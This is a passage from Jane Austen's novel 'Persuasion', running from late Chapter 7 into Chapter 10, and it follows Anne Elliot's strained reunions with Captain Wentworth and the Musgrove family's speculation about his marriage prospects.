resolving to walk +to the end of the village with the sportsmen: the room was cleared, +and Anne might finish her breakfast as she could. + +"It is over! it is over!" she repeated to herself again and again, +in nervous gratitude. "The worst is over!" + +Mary talked, but she could not attend. She had seen him. +They had met. They had been once more in the same room. + +Soon, however, she began to reason with herself, and try to be feeling less. +Eight years, almost eight years had passed, since all had been given up. +How absurd to be resuming the agitation which such an interval +had banished into distance and indistinctness! What might not +eight years do? Events of every description, changes, alienations, +removals--all, all must be comprised in it, and oblivion of the past-- +how natural, how certain too! It included nearly a third part +of her own life. + +Alas! with all her reasoning, she found, that to retentive feelings +eight years may be little more than nothing. + +Now, how were his sentiments to be read? Was this like +wishing to avoid her? And the next moment she was hating herself +for the folly which asked the question. + +On one other question which perhaps her utmost wisdom +might not have prevented, she was soon spared all suspense; +for, after the Miss Musgroves had returned and finished their visit +at the Cottage she had this spontaneous information from Mary: -- + +"Captain Wentworth is not very gallant by you, Anne, though he was +so attentive to me. Henrietta asked him what he thought of you, +when they went away, and he said, `You were so altered he should not +have known you again.'" + +Mary had no feelings to make her respect her sister's in a common way, +but she was perfectly unsuspicious of being inflicting any peculiar wound. + +"Altered beyond his knowledge." Anne fully submitted, in silent, +deep mortification. Doubtless it was so, and she could take no revenge, +for he was not altered, or not for the worse. She had already +acknowledged it to herself, and she could not think differently, +let him think of her as he would. No: the years which had destroyed +her youth and bloom had only given him a more glowing, manly, +open look, in no respect lessening his personal advantages. +She had seen the same Frederick Wentworth. + +"So altered that he should not have known her again!" These were words +which could not but dwell with her. Yet she soon began to rejoice +that she had heard them. They were of sobering tendency; +they allayed agitation; they composed, and consequently must +make her happier. + +Frederick Wentworth had used such words, or something like them, +but without an idea that they would be carried round to her. +He had thought her wretchedly altered, and in the first moment of appeal, +had spoken as he felt. He had not forgiven Anne Elliot. +She had used him ill, deserted and disappointed him; and worse, +she had shewn a feebleness of character in doing so, which his own decided, +confident temper could not endure. She had given him up to oblige others. +It had been the effect of over-persuasion. It had been +weakness and timidity. + +He had been most warmly attached to her, and had never seen a woman since +whom he thought her equal; but, except from some natural sensation +of curiosity, he had no desire of meeting her again. Her power with him +was gone for ever. + +It was now his object to marry. He was rich, and being turned on shore, +fully intended to settle as soon as he could be properly tempted; +actually looking round, ready to fall in love with all the speed +which a clear head and a quick taste could allow. He had a heart +for either of the Miss Musgroves, if they could catch it; a heart, +in short, for any pleasing young woman who came in his way, +excepting Anne Elliot. This was his only secret exception, +when he said to his sister, in answer to her suppositions:-- + +"Yes, here I am, Sophia, quite ready to make a foolish match. +Anybody between fifteen and thirty may have me for asking. +A little beauty, and a few smiles, and a few compliments to the navy, +and I am a lost man. Should not this be enough for a sailor, +who has had no society among women to make him nice?" + +He said it, she knew, to be contradicted. His bright proud eye +spoke the conviction that he was nice; and Anne Elliot was +not out of his thoughts, when he more seriously described +the woman he should wish to meet with. "A strong mind, +with sweetness of manner," made the first and the last of the description. + +"That is the woman I want," said he. "Something a little inferior +I shall of course put up with, but it must not be much. If I am a fool, +I shall be a fool indeed, for I have thought on the subject +more than most men." + + + +Chapter 8 + + +From this time Captain Wentworth and Anne Elliot were repeatedly +in the same circle. They were soon dining in company together +at Mr Musgrove's, for the little boy's state could no longer +supply his aunt with a pretence for absenting herself; and this was +but the beginning of other dinings and other meetings. + +Whether former feelings were to be renewed must be brought to the proof; +former times must undoubtedly be brought to the recollection of each; +they could not but be reverted to; the year of their engagement +could not but be named by him, in the little narratives or descriptions +which conversation called forth. His profession qualified him, +his disposition lead him, to talk; and "That was in the year six;" +"That happened before I went to sea in the year six," occurred +in the course of the first evening they spent together: +and though his voice did not falter, and though she had no reason +to suppose his eye wandering towards her while he spoke, +Anne felt the utter impossibility, from her knowledge of his mind, +that he could be unvisited by remembrance any more than herself. +There must be the same immediate association of thought, +though she was very far from conceiving it to be of equal pain. + +They had no conversation together, no intercourse but what +the commonest civility required. Once so much to each other! +Now nothing! There had been a time, when of all the large party +now filling the drawing-room at Uppercross, they would have found it +most difficult to cease to speak to one another. With the exception, +perhaps, of Admiral and Mrs Croft, who seemed particularly attached +and happy, (Anne could allow no other exceptions even among +the married couples), there could have been no two hearts so open, +no tastes so similar, no feelings so in unison, no countenances so beloved. +Now they were as strangers; nay, worse than strangers, for they could +never become acquainted. It was a perpetual estrangement. + +When he talked, she heard the same voice, and discerned the same mind. +There was a very general ignorance of all naval matters throughout the party; +and he was very much questioned, and especially by the two Miss Musgroves, +who seemed hardly to have any eyes but for him, as to the manner +of living on board, daily regulations, food, hours, &c., and their surprise +at his accounts, at learning the degree of accommodation and arrangement +which was practicable, drew from him some pleasant ridicule, +which reminded Anne of the early days when she too had been ignorant, +and she too had been accused of supposing sailors to be living on board +without anything to eat, or any cook to dress it if there were, +or any servant to wait, or any knife and fork to use. + +From thus listening and thinking, she was roused by a whisper +of Mrs Musgrove's who, overcome by fond regrets, could not help saying-- + +"Ah! Miss Anne, if it had pleased Heaven to spare my poor son, +I dare say he would have been just such another by this time." + +Anne suppressed a smile, and listened kindly, while Mrs Musgrove +relieved her heart a little more; and for a few minutes, therefore, +could not keep pace with the conversation of the others. + +When she could let her attention take its natural course again, +she found the Miss Musgroves just fetching the Navy List +(their own navy list, the first that had ever been at Uppercross), +and sitting down together to pore over it, with the professed view +of finding out the ships that Captain Wentworth had commanded. + +"Your first was the Asp, I remember; we will look for the Asp." + +"You will not find her there. Quite worn out and broken up. +I was the last man who commanded her. Hardly fit for service then. +Reported fit for home service for a year or two, and so I was sent off +to the West Indies." + +The girls looked all amazement. + +"The Admiralty," he continued, "entertain themselves now and then, +with sending a few hundred men to sea, in a ship not fit to be employed. +But they have a great many to provide for; and among the thousands +that may just as well go to the bottom as not, it is impossible +for them to distinguish the very set who may be least missed." + +"Phoo! phoo!" cried the Admiral, "what stuff these young fellows talk! +Never was a better sloop than the Asp in her day. For an old built sloop, +you would not see her equal. Lucky fellow to get her! He knows there +must have been twenty better men than himself applying for her +at the same time. Lucky fellow to get anything so soon, +with no more interest than his." + +"I felt my luck, Admiral, I assure you;" replied Captain Wentworth, +seriously. "I was as well satisfied with my appointment as you can desire. +It was a great object with me at that time to be at sea; +a very great object, I wanted to be doing something." + +"To be sure you did. What should a young fellow like you do ashore +for half a year together? If a man had not a wife, he soon wants +to be afloat again." + +"But, Captain Wentworth," cried Louisa, "how vexed you must have been +when you came to the Asp, to see what an old thing they had given you." + +"I knew pretty well what she was before that day;" said he, smiling. +"I had no more discoveries to make than you would have as to +the fashion and strength of any old pelisse, which you had seen +lent about among half your acquaintance ever since you could remember, +and which at last, on some very wet day, is lent to yourself. +Ah! she was a dear old Asp to me. She did all that I wanted. +I knew she would. I knew that we should either go to the bottom together, +or that she would be the making of me; and I never had two days +of foul weather all the time I was at sea in her; and after +taking privateers enough to be very entertaining, I had the good luck +in my passage home the next autumn, to fall in with the very French frigate +I wanted. I brought her into Plymouth; and here another instance of luck. +We had not been six hours in the Sound, when a gale came on, +which lasted four days and nights, and which would have done for +poor old Asp in half the time; our touch with the Great Nation +not having much improved our condition. Four-and-twenty hours later, +and I should only have been a gallant Captain Wentworth, +in a small paragraph at one corner of the newspapers; and being lost +in only a sloop, nobody would have thought about me." Anne's shudderings +were to herself alone; but the Miss Musgroves could be as open +as they were sincere, in their exclamations of pity and horror. + +"And so then, I suppose," said Mrs Musgrove, in a low voice, +as if thinking aloud, "so then he went away to the Laconia, and there +he met with our poor boy. Charles, my dear," (beckoning him to her), +"do ask Captain Wentworth where it was he first met with your poor brother. +I always forgot." + +"It was at Gibraltar, mother, I know. Dick had been left ill at Gibraltar, +with a recommendation from his former captain to Captain Wentworth." + +"Oh! but, Charles, tell Captain Wentworth, he need not be afraid +of mentioning poor Dick before me, for it would be rather a pleasure +to hear him talked of by such a good friend." + +Charles, being somewhat more mindful of the probabilities of the case, +only nodded in reply, and walked away. + +The girls were now hunting for the Laconia; and Captain Wentworth +could not deny himself the pleasure of taking the precious volume +into his own hands to save them the trouble, and once more read aloud +the little statement of her name and rate, and present +non-commissioned class, observing over it that she too had been +one of the best friends man ever had. + +"Ah! those were pleasant days when I had the Laconia! How fast I +made money in her. A friend of mine and I had such a lovely cruise +together off the Western Islands. Poor Harville, sister! +You know how much he wanted money: worse than myself. He had a wife. +Excellent fellow. I shall never forget his happiness. He felt it all, +so much for her sake. I wished for him again the next summer, +when I had still the same luck in the Mediterranean." + +"And I am sure, Sir." said Mrs Musgrove, "it was a lucky day for us, +when you were put captain into that ship. We shall never forget +what you did." + +Her feelings made her speak low; and Captain Wentworth, +hearing only in part, and probably not having Dick Musgrove at all +near his thoughts, looked rather in suspense, and as if waiting for more. + +"My brother," whispered one of the girls; "mamma is thinking +of poor Richard." + +"Poor dear fellow!" continued Mrs Musgrove; "he was grown so steady, +and such an excellent correspondent, while he was under your care! +Ah! it would have been a happy thing, if he had never left you. +I assure you, Captain Wentworth, we are very sorry he ever left you." + +There was a momentary expression in Captain Wentworth's face at this speech, +a certain glance of his bright eye, and curl of his handsome mouth, +which convinced Anne, that instead of sharing in Mrs Musgrove's kind wishes, +as to her son, he had probably been at some pains to get rid of him; +but it was too transient an indulgence of self-amusement to be detected +by any who understood him less than herself; in another moment +he was perfectly collected and serious, and almost instantly afterwards +coming up to the sofa, on which she and Mrs Musgrove were sitting, +took a place by the latter, and entered into conversation with her, +in a low voice, about her son, doing it with so much sympathy +and natural grace, as shewed the kindest consideration for all +that was real and unabsurd in the parent's feelings. + +They were actually on the same sofa, for Mrs Musgrove had +most readily made room for him; they were divided only by Mrs Musgrove. +It was no insignificant barrier, indeed. Mrs Musgrove was of +a comfortable, substantial size, infinitely more fitted by nature +to express good cheer and good humour, than tenderness and sentiment; +and while the agitations of Anne's slender form, and pensive face, +may be considered as very completely screened, Captain Wentworth +should be allowed some credit for the self-command with which +he attended to her large fat sighings over the destiny of a son, +whom alive nobody had cared for. + +Personal size and mental sorrow have certainly no necessary proportions. +A large bulky figure has as good a right to be in deep affliction, +as the most graceful set of limbs in the world. But, fair or not fair, +there are unbecoming conjunctions, which reason will patronize in vain-- +which taste cannot tolerate--which ridicule will seize. + +The Admiral, after taking two or three refreshing turns about the room +with his hands behind him, being called to order by his wife, +now came up to Captain Wentworth, and without any observation +of what he might be interrupting, thinking only of his own thoughts, +began with-- + +"If you had been a week later at Lisbon, last spring, Frederick, +you would have been asked to give a passage to Lady Mary Grierson +and her daughters." + +"Should I? I am glad I was not a week later then." + +The Admiral abused him for his want of gallantry. He defended himself; +though professing that he would never willingly admit any ladies +on board a ship of his, excepting for a ball, or a visit, +which a few hours might comprehend. + +"But, if I know myself," said he, "this is from no want of gallantry +towards them. It is rather from feeling how impossible it is, +with all one's efforts, and all one's sacrifices, to make +the accommodations on board such as women ought to have. +There can be no want of gallantry, Admiral, in rating the claims of women +to every personal comfort high, and this is what I do. I hate to hear +of women on board, or to see them on board; and no ship under my command +shall ever convey a family of ladies anywhere, if I can help it." + +This brought his sister upon him. + +"Oh! Frederick! But I cannot believe it of you. --All idle refinement! +--Women may be as comfortable on board, as in the best house in England. +I believe I have lived as much on board as most women, and I know +nothing superior to the accommodations of a man-of-war. I declare +I have not a comfort or an indulgence about me, even at Kellynch Hall," +(with a kind bow to Anne), "beyond what I always had in most of +the ships I have lived in; and they have been five altogether." + +"Nothing to the purpose," replied her brother. "You were living +with your husband, and were the only woman on board." + +"But you, yourself, brought Mrs Harville, her sister, her cousin, +and three children, round from Portsmouth to Plymouth. Where was this +superfine, extraordinary sort of gallantry of yours then?" + +"All merged in my friendship, Sophia. I would assist any +brother officer's wife that I could, and I would bring anything +of Harville's from the world's end, if he wanted it. But do not imagine +that I did not feel it an evil in itself." + +"Depend upon it, they were all perfectly comfortable." + +"I might not like them the better for that perhaps. Such a number +of women and children have no right to be comfortable on board." + +"My dear Frederick, you are talking quite idly. Pray, what would +become of us poor sailors' wives, who often want to be conveyed to +one port or another, after our husbands, if everybody had your feelings?" + +"My feelings, you see, did not prevent my taking Mrs Harville +and all her family to Plymouth." + +"But I hate to hear you talking so like a fine gentleman, +and as if women were all fine ladies, instead of rational creatures. +We none of us expect to be in smooth water all our days." + +"Ah! my dear," said the Admiral, "when he had got a wife, +he will sing a different tune. When he is married, if we have +the good luck to live to another war, we shall see him do as you and I, +and a great many others, have done. We shall have him very thankful +to anybody that will bring him his wife." + +"Ay, that we shall." + +"Now I have done," cried Captain Wentworth. "When once married +people begin to attack me with,--`Oh! you will think very differently, +when you are married.' I can only say, `No, I shall not;' and then +they say again, `Yes, you will,' and there is an end of it." + +He got up and moved away. + +"What a great traveller you must have been, ma'am!" said Mrs Musgrove +to Mrs Croft. + +"Pretty well, ma'am in the fifteen years of my marriage; +though many women have done more. I have crossed the Atlantic +four times, and have been once to the East Indies, and back again, +and only once; besides being in different places about home: +Cork, and Lisbon, and Gibraltar. But I never went beyond the Streights, +and never was in the West Indies. We do not call Bermuda or Bahama, +you know, the West Indies." + +Mrs Musgrove had not a word to say in dissent; she could not accuse herself +of having ever called them anything in the whole course of her life. + +"And I do assure you, ma'am," pursued Mrs Croft, "that nothing can exceed +the accommodations of a man-of-war; I speak, you know, of the higher rates. +When you come to a frigate, of course, you are more confined; +though any reasonable woman may be perfectly happy in one of them; +and I can safely say, that the happiest part of my life has been spent +on board a ship. While we were together, you know, there was nothing +to be feared. Thank God! I have always been blessed with +excellent health, and no climate disagrees with me. A little disordered +always the first twenty-four hours of going to sea, but never knew +what sickness was afterwards. The only time I ever really suffered +in body or mind, the only time that I ever fancied myself unwell, +or had any ideas of danger, was the winter that I passed by myself at Deal, +when the Admiral (Captain Croft then) was in the North Seas. +I lived in perpetual fright at that time, and had all manner of +imaginary complaints from not knowing what to do with myself, +or when I should hear from him next; but as long as we could be together, +nothing ever ailed me, and I never met with the smallest inconvenience." + +"Aye, to be sure. Yes, indeed, oh yes! I am quite of your opinion, +Mrs Croft," was Mrs Musgrove's hearty answer. "There is nothing so bad +as a separation. I am quite of your opinion. I know what it is, +for Mr Musgrove always attends the assizes, and I am so glad when +they are over, and he is safe back again." + +The evening ended with dancing. On its being proposed, +Anne offered her services, as usual; and though her eyes would sometimes +fill with tears as she sat at the instrument, she was extremely glad +to be employed, and desired nothing in return but to be unobserved. + +It was a merry, joyous party, and no one seemed in higher spirits +than Captain Wentworth. She felt that he had every thing to elevate +him which general attention and deference, and especially the attention +of all the young women, could do. The Miss Hayters, the females +of the family of cousins already mentioned, were apparently admitted +to the honour of being in love with him; and as for Henrietta and Louisa, +they both seemed so entirely occupied by him, that nothing but +the continued appearance of the most perfect good-will between themselves +could have made it credible that they were not decided rivals. +If he were a little spoilt by such universal, such eager admiration, +who could wonder? + +These were some of the thoughts which occupied Anne, while her fingers +were mechanically at work, proceeding for half an hour together, +equally without error, and without consciousness. Once she felt +that he was looking at herself, observing her altered features, +perhaps, trying to trace in them the ruins of the face which had once +charmed him; and once she knew that he must have spoken of her; +she was hardly aware of it, till she heard the answer; but then she was +sure of his having asked his partner whether Miss Elliot never danced? +The answer was, "Oh, no; never; she has quite given up dancing. +She had rather play. She is never tired of playing." Once, too, +he spoke to her. She had left the instrument on the dancing being over, +and he had sat down to try to make out an air which he wished +to give the Miss Musgroves an idea of. Unintentionally she returned +to that part of the room; he saw her, and, instantly rising, +said, with studied politeness-- + +"I beg your pardon, madam, this is your seat;" and though she immediately +drew back with a decided negative, he was not to be induced +to sit down again. + +Anne did not wish for more of such looks and speeches. +His cold politeness, his ceremonious grace, were worse than anything. + + + +Chapter 9 + + +Captain Wentworth was come to Kellynch as to a home, to stay +as long as he liked, being as thoroughly the object of +the Admiral's fraternal kindness as of his wife's. He had intended, +on first arriving, to proceed very soon into Shropshire, +and visit the brother settled in that country, but the attractions +of Uppercross induced him to put this off. There was so much +of friendliness, and of flattery, and of everything most bewitching +in his reception there; the old were so hospitable, the young so agreeable, +that he could not but resolve to remain where he was, and take all +the charms and perfections of Edward's wife upon credit a little longer. + +It was soon Uppercross with him almost every day. The Musgroves +could hardly be more ready to invite than he to come, particularly +in the morning, when he had no companion at home, for the Admiral +and Mrs Croft were generally out of doors together, interesting themselves +in their new possessions, their grass, and their sheep, and dawdling about +in a way not endurable to a third person, or driving out in a gig, +lately added to their establishment. + +Hitherto there had been but one opinion of Captain Wentworth +among the Musgroves and their dependencies. It was unvarying, +warm admiration everywhere; but this intimate footing was not more +than established, when a certain Charles Hayter returned among them, +to be a good deal disturbed by it, and to think Captain Wentworth +very much in the way. + +Charles Hayter was the eldest of all the cousins, and a very amiable, +pleasing young man, between whom and Henrietta there had been +a considerable appearance of attachment previous to Captain Wentworth's +introduction. He was in orders; and having a curacy in the neighbourhood, +where residence was not required, lived at his father's house, +only two miles from Uppercross. A short absence from home +had left his fair one unguarded by his attentions at this critical period, +and when he came back he had the pain of finding very altered manners, +and of seeing Captain Wentworth. + +Mrs Musgrove and Mrs Hayter were sisters. They had each had money, +but their marriages had made a material difference in +their degree of consequence. Mr Hayter had some property of his own, +but it was insignificant compared with Mr Musgrove's; and while +the Musgroves were in the first class of society in the country, +the young Hayters would, from their parents' inferior, retired, +and unpolished way of living, and their own defective education, +have been hardly in any class at all, but for their connexion +with Uppercross, this eldest son of course excepted, who had chosen +to be a scholar and a gentleman, and who was very superior +in cultivation and manners to all the rest. + +The two families had always been on excellent terms, there being no pride +on one side, and no envy on the other, and only such a consciousness +of superiority in the Miss Musgroves, as made them pleased +to improve their cousins. Charles's attentions to Henrietta +had been observed by her father and mother without any disapprobation. +"It would not be a great match for her; but if Henrietta liked him,"-- +and Henrietta did seem to like him. + +Henrietta fully thought so herself, before Captain Wentworth came; +but from that time Cousin Charles had been very much forgotten. + +Which of the two sisters was preferred by Captain Wentworth was +as yet quite doubtful, as far as Anne's observation reached. +Henrietta was perhaps the prettiest, Louisa had the higher spirits; +and she knew not now, whether the more gentle or the more lively character +were most likely to attract him. + +Mr and Mrs Musgrove, either from seeing little, or from +an entire confidence in the discretion of both their daughters, +and of all the young men who came near them, seemed to leave everything +to take its chance. There was not the smallest appearance of solicitude +or remark about them in the Mansion-house; but it was different +at the Cottage: the young couple there were more disposed +to speculate and wonder; and Captain Wentworth had not been above +four or five times in the Miss Musgroves' company, and Charles Hayter +had but just reappeared, when Anne had to listen to the opinions +of her brother and sister, as to which was the one liked best. +Charles gave it for Louisa, Mary for Henrietta, but quite agreeing +that to have him marry either could be extremely delightful. + +Charles "had never seen a pleasanter man in his life; and from what +he had once heard Captain Wentworth himself say, was very sure that +he had not made less than twenty thousand pounds by the war. +Here was a fortune at once; besides which, there would be the chance +of what might be done in any future war; and he was sure Captain Wentworth +was as likely a man to distinguish himself as any officer in the navy. +Oh! it would be a capital match for either of his sisters." + +"Upon my word it would," replied Mary. "Dear me! If he should +rise to any very great honours! If he should ever be made a baronet! +`Lady Wentworth' sounds very well. That would be a noble thing, +indeed, for Henrietta! She would take place of me then, and Henrietta +would not dislike that. Sir Frederick and Lady Wentworth! +It would be but a new creation, however, and I never think much +of your new creations." + +It suited Mary best to think Henrietta the one preferred +on the very account of Charles Hayter, whose pretensions she wished +to see put an end to. She looked down very decidedly upon the Hayters, +and thought it would be quite a misfortune to have the existing connection +between the families renewed--very sad for herself and her children. + +"You know," said she, "I cannot think him at all a fit match for Henrietta; +and considering the alliances which the Musgroves have made, +she has no right to throw herself away. I do not think any young woman +has a right to make a choice that may be disagreeable and inconvenient +to the principal part of her family, and be giving bad connections +to those who have not been used to them. And, pray, who is Charles Hayter? +Nothing but a country curate. A most improper match for Miss Musgrove +of Uppercross." + +Her husband, however, would not agree with her here; for besides having +a regard for his cousin, Charles Hayter was an eldest son, +and he saw things as an eldest son himself. + +"Now you are taking nonsense, Mary," was therefore his answer. +"It would not be a great match for Henrietta, but Charles has +a very fair chance, through the Spicers, of getting something from +the Bishop in the course of a year or two; and you will please to remember, +that he is the eldest son; whenever my uncle dies, he steps into very +pretty property. The estate at Winthrop is not less than +two hundred and fifty acres, besides the farm near Taunton, +which is some of the best land in the country. I grant you, +that any of them but Charles would be a very shocking match for Henrietta, +and indeed it could not be; he is the only one that could be possible; +but he is a very good-natured, good sort of a fellow; and whenever Winthrop +comes into his hands, he will make a different sort of place of it, +and live in a very different sort of way; and with that property, +he will never be a contemptible man--good, freehold property. No, no; +Henrietta might do worse than marry Charles Hayter; and if she has him, +and Louisa can get Captain Wentworth, I shall be very well satisfied." + +"Charles may say what he pleases," cried Mary to Anne, as soon as +he was out of the room, "but it would be shocking to have Henrietta +marry Charles Hayter; a very bad thing for her, and still worse +for me; and therefore it is very much to be wished that Captain Wentworth +may soon put him quite out of her head, and I have very little doubt +that he has. She took hardly any notice of Charles Hayter yesterday. +I wish you had been there to see her behaviour. And as to +Captain Wentworth's liking Louisa as well as Henrietta, it is nonsense +to say so; for he certainly does like Henrietta a great deal the best. +But Charles is so positive! I wish you had been with us yesterday, +for then you might have decided between us; and I am sure you +would have thought as I did, unless you had been determined +to give it against me." + +A dinner at Mr Musgrove's had been the occasion when all these things +should have been seen by Anne; but she had staid at home, +under the mixed plea of a headache of her own, and some return +of indisposition in little Charles. She had thought only of avoiding +Captain Wentworth; but an escape from being appealed to as umpire +was now added to the advantages of a quiet evening. + +As to Captain Wentworth's views, she deemed it of more consequence +that he should know his own mind early enough not to be endangering +the happiness of either sister, or impeaching his own honour, +than that he should prefer Henrietta to Louisa, or Louisa to Henrietta. +Either of them would, in all probability, make him an affectionate, +good-humoured wife. With regard to Charles Hayter, she had delicacy +which must be pained by any lightness of conduct in a well-meaning +young woman, and a heart to sympathize in any of the sufferings +it occasioned; but if Henrietta found herself mistaken in the nature +of her feelings, the alternation could not be understood too soon. + +Charles Hayter had met with much to disquiet and mortify him +in his cousin's behaviour. She had too old a regard for him +to be so wholly estranged as might in two meetings extinguish +every past hope, and leave him nothing to do but to keep away +from Uppercross: but there was such a change as became very alarming, +when such a man as Captain Wentworth was to be regarded as +the probable cause. He had been absent only two Sundays, +and when they parted, had left her interested, even to the height +of his wishes, in his prospect of soon quitting his present curacy, +and obtaining that of Uppercross instead. It had then seemed the object +nearest her heart, that Dr Shirley, the rector, who for more than +forty years had been zealously discharging all the duties of his office, +but was now growing too infirm for many of them, should be quite fixed +on engaging a curate; should make his curacy quite as good +as he could afford, and should give Charles Hayter the promise of it. +The advantage of his having to come only to Uppercross, instead of going +six miles another way; of his having, in every respect, a better curacy; +of his belonging to their dear Dr Shirley, and of dear, good Dr Shirley's +being relieved from the duty which he could no longer get through +without most injurious fatigue, had been a great deal, even to Louisa, +but had been almost everything to Henrietta. When he came back, alas! +the zeal of the business was gone by. Louisa could not listen at all +to his account of a conversation which he had just held with Dr Shirley: +she was at a window, looking out for Captain Wentworth; and even Henrietta +had at best only a divided attention to give, and seemed to have forgotten +all the former doubt and solicitude of the negotiation. + +"Well, I am very glad indeed: but I always thought you would have it; +I always thought you sure. It did not appear to me that--in short, +you know, Dr Shirley must have a curate, and you had secured his promise. +Is he coming, Louisa?" + +One morning, very soon after the dinner at the Musgroves, +at which Anne had not been present, Captain Wentworth walked into +the drawing-room at the Cottage, where were only herself and the little +invalid Charles, who was lying on the sofa. + +The surprise of finding himself almost alone with Anne Elliot, +deprived his manners of their usual composure: he started, +and could only say, "I thought the Miss Musgroves had been here: +Mrs Musgrove told me I should find them here," before he walked +to the window to recollect himself, and feel how he ought to behave. + +"They are up stairs with my sister: they will be down in a few moments, +I dare say," had been Anne's reply, in all the confusion that was natural; +and if the child had not called her to come and do something for him, +she would have been out of the room the next moment, and released +Captain Wentworth as well as herself. + +He continued at the window; and after calmly and politely saying, +"I hope the little boy is better," was silent. + +She was obliged to kneel down by the sofa, and remain there +to satisfy her patient; and thus they continued a few minutes, +when, to her very great satisfaction, she heard some other person +crossing the little vestibule. She hoped, on turning her head, +to see the master of the house; but it proved to be one +much less calculated for making matters easy--Charles Hayter, +probably not at all better pleased by the sight of Captain Wentworth +than Captain Wentworth had been by the sight of Anne. + +She only attempted to say, "How do you do? Will you not sit down? +The others will be here presently." + +Captain Wentworth, however, came from his window, apparently +not ill-disposed for conversation; but Charles Hayter soon put an end +to his attempts by seating himself near the table, and taking up +the newspaper; and Captain Wentworth returned to his window. + +Another minute brought another addition. The younger boy, +a remarkable stout, forward child, of two years old, having got the door +opened for him by some one without, made his determined appearance +among them, and went straight to the sofa to see what was going on, +and put in his claim to anything good that might be giving away. + +There being nothing to eat, he could only have some play; +and as his aunt would not let him tease his sick brother, +he began to fasten himself upon her, as she knelt, in such a way that, +busy as she was about Charles, she could not shake him off. +She spoke to him, ordered, entreated, and insisted in vain. +Once she did contrive to push him away, but the boy had +the greater pleasure in getting upon her back again directly. + +"Walter," said she, "get down this moment. You are extremely troublesome. +I am very angry with you." + +"Walter," cried Charles Hayter, "why do you not do as you are bid? +Do not you hear your aunt speak? Come to me, Walter, come to +cousin Charles." + +But not a bit did Walter stir. + +In another moment, however, she found herself in the state of +being released from him; some one was taking him from her, +though he had bent down her head so much, that his little sturdy hands +were unfastened from around her neck, and he was resolutely borne away, +before she knew that Captain Wentworth had done it. + +Her sensations on the discovery made her perfectly speechless. +She could not even thank him. She could only hang over little Charles, +with most disordered feelings. His kindness in stepping forward +to her relief, the manner, the silence in which it had passed, +the little particulars of the circumstance, with the conviction soon +forced on her by the noise he was studiously making with the child, +that he meant to avoid hearing her thanks, and rather sought +to testify that her conversation was the last of his wants, +produced such a confusion of varying, but very painful agitation, +as she could not recover from, till enabled by the entrance of Mary +and the Miss Musgroves to make over her little patient to their cares, +and leave the room. She could not stay. It might have been +an opportunity of watching the loves and jealousies of the four-- +they were now altogether; but she could stay for none of it. +It was evident that Charles Hayter was not well inclined towards +Captain Wentworth. She had a strong impression of his having said, +in a vext tone of voice, after Captain Wentworth's interference, +"You ought to have minded me, Walter; I told you not to teaze your aunt;" +and could comprehend his regretting that Captain Wentworth should do +what he ought to have done himself. But neither Charles Hayter's feelings, +nor anybody's feelings, could interest her, till she had a little better +arranged her own. She was ashamed of herself, quite ashamed +of being so nervous, so overcome by such a trifle; but so it was, +and it required a long application of solitude and reflection +to recover her. + + + +Chapter 10 + + +Other opportunities of making her observations could not fail to occur. +Anne had soon been in company with all the four together often enough +to have an opinion, though too wise to acknowledge as much at home, +where she knew it would have satisfied neither husband nor wife; +for while she considered Louisa to be rather the favourite, +she could not but think, as far as she might dare to judge from memory +and experience, that Captain Wentworth was not in love with either. +They were more in love with him; yet there it was not love. +It was a little fever of admiration; but it might, probably must, +end in love with some. Charles Hayter seemed aware of being slighted, +and yet Henrietta had sometimes the air of being divided between them. +Anne longed for the power of representing to them all what they were about, +and of pointing out some of the evils they were exposing themselves to. +She did not attribute guile to any. It was the highest satisfaction +to her to believe Captain Wentworth not in the least aware +of the pain he was occasioning. There was no triumph, no pitiful triumph +in his manner. He had, probably, never heard, and never thought of +any claims of Charles Hayter. He was only wrong in accepting +the attentions (for accepting must be the word) of two young women at once. + +After a short struggle, however, Charles Hayter seemed to quit the field. +Three days had passed without his coming once to Uppercross; +a most decided change. He had even refused one regular invitation to dinner; +and having been found on the occasion by Mr Musgrove with some large books +before him, Mr and Mrs Musgrove were sure all could not be right, +and talked, with grave faces, of his studying himself to death. +It was Mary's hope and belief that he had received a positive dismissal +from Henrietta, and her husband lived under the constant dependence +of seeing him to-morrow. Anne could only feel that Charles Hayter +was wise. + +One morning, about this time Charles Musgrove and Captain Wentworth +being gone a-shooting together, as the sisters in the Cottage +were sitting quietly at work, they were visited at the window +by the sisters from the Mansion-house. + +It was a very fine November day, and the Miss Musgroves came +through the little grounds, and stopped for no other purpose than to say, +that they were going to take a long walk, and therefore concluded +Mary could not like to go with them; and when Mary immediately replied, +with some jealousy at not being supposed a good walker, "Oh, yes, +I should like to join you very much, I am very fond of a long walk;" +Anne felt persuaded, by the looks of the two girls, that it was precisely +what they did not wish, and admired again the sort of necessity +which the family habits seemed to produce, of everything being +to be communicated, and everything being to be done together, +however undesired and inconvenient. She tried to dissuade Mary from going, +but in vain; and that being the case, thought it best to accept +the Miss Musgroves' much more cordial invitation to herself to go likewise, +as she might be useful in turning back with her sister, and lessening +the interference in any plan of their own. + +"I cannot imagine why they should suppose I should not like a long walk," +said Mary, as she went up stairs. "Everybody is always supposing +that I am not a good walker; and yet they would not have been pleased, +if we had refused to join them. When people come in this manner +on purpose to ask us, how can one say no?" + +Just as they were setting off, the gentlemen returned. They had taken out +a young dog, who had spoilt their sport, and sent them back early. +Their time and strength, and spirits, were, therefore, exactly ready +for this walk, and they entered into it with pleasure. Could Anne +have foreseen such a junction, she would have staid at home; but, +from some feelings of interest and curiosity, she fancied now that it was +too late to retract, and the whole six set forward together +in the direction chosen by the Miss Musgroves, who evidently +considered the walk as under their guidance. + +Anne's object was, not to be in the way of anybody; and where +the narrow paths across the fields made many separations necessary, +to keep with her brother and sister. Her pleasure in the walk +must arise from the exercise and the day, from the view of +the last smiles of the year upon the tawny leaves, and withered hedges, +and from repeating to herself some few of the thousand poetical +descriptions extant of autumn, that season of peculiar and +inexhaustible influence on the mind of taste and tenderness, +that season which had drawn from every poet, worthy of being read, +some attempt at description, or some lines of feeling. +She occupied her mind as much as possible in such like musings +and quotations; but it was not possible, that when within reach +of Captain Wentworth's conversation with either of the Miss Musgroves, +she should not try to hear it; yet she caught little very remarkable. +It was mere lively chat, such as any young persons, on an intimate footing, +might fall into. He was more engaged with Louisa than with Henrietta. +Louisa certainly put more forward for his notice than her sister. +This distinction appeared to increase, and there was one speech +of Louisa's which struck her. After one of the many praises of the day, +which were continually bursting forth, Captain Wentworth added: -- + +"What glorious weather for the Admiral and my sister! They meant to take +a long drive this morning; perhaps we may hail them from +some of these hills. They talked of coming into this side of the country. +I wonder whereabouts they will upset to-day. Oh! it does happen +very often, I assure you; but my sister makes nothing of it; +she would as 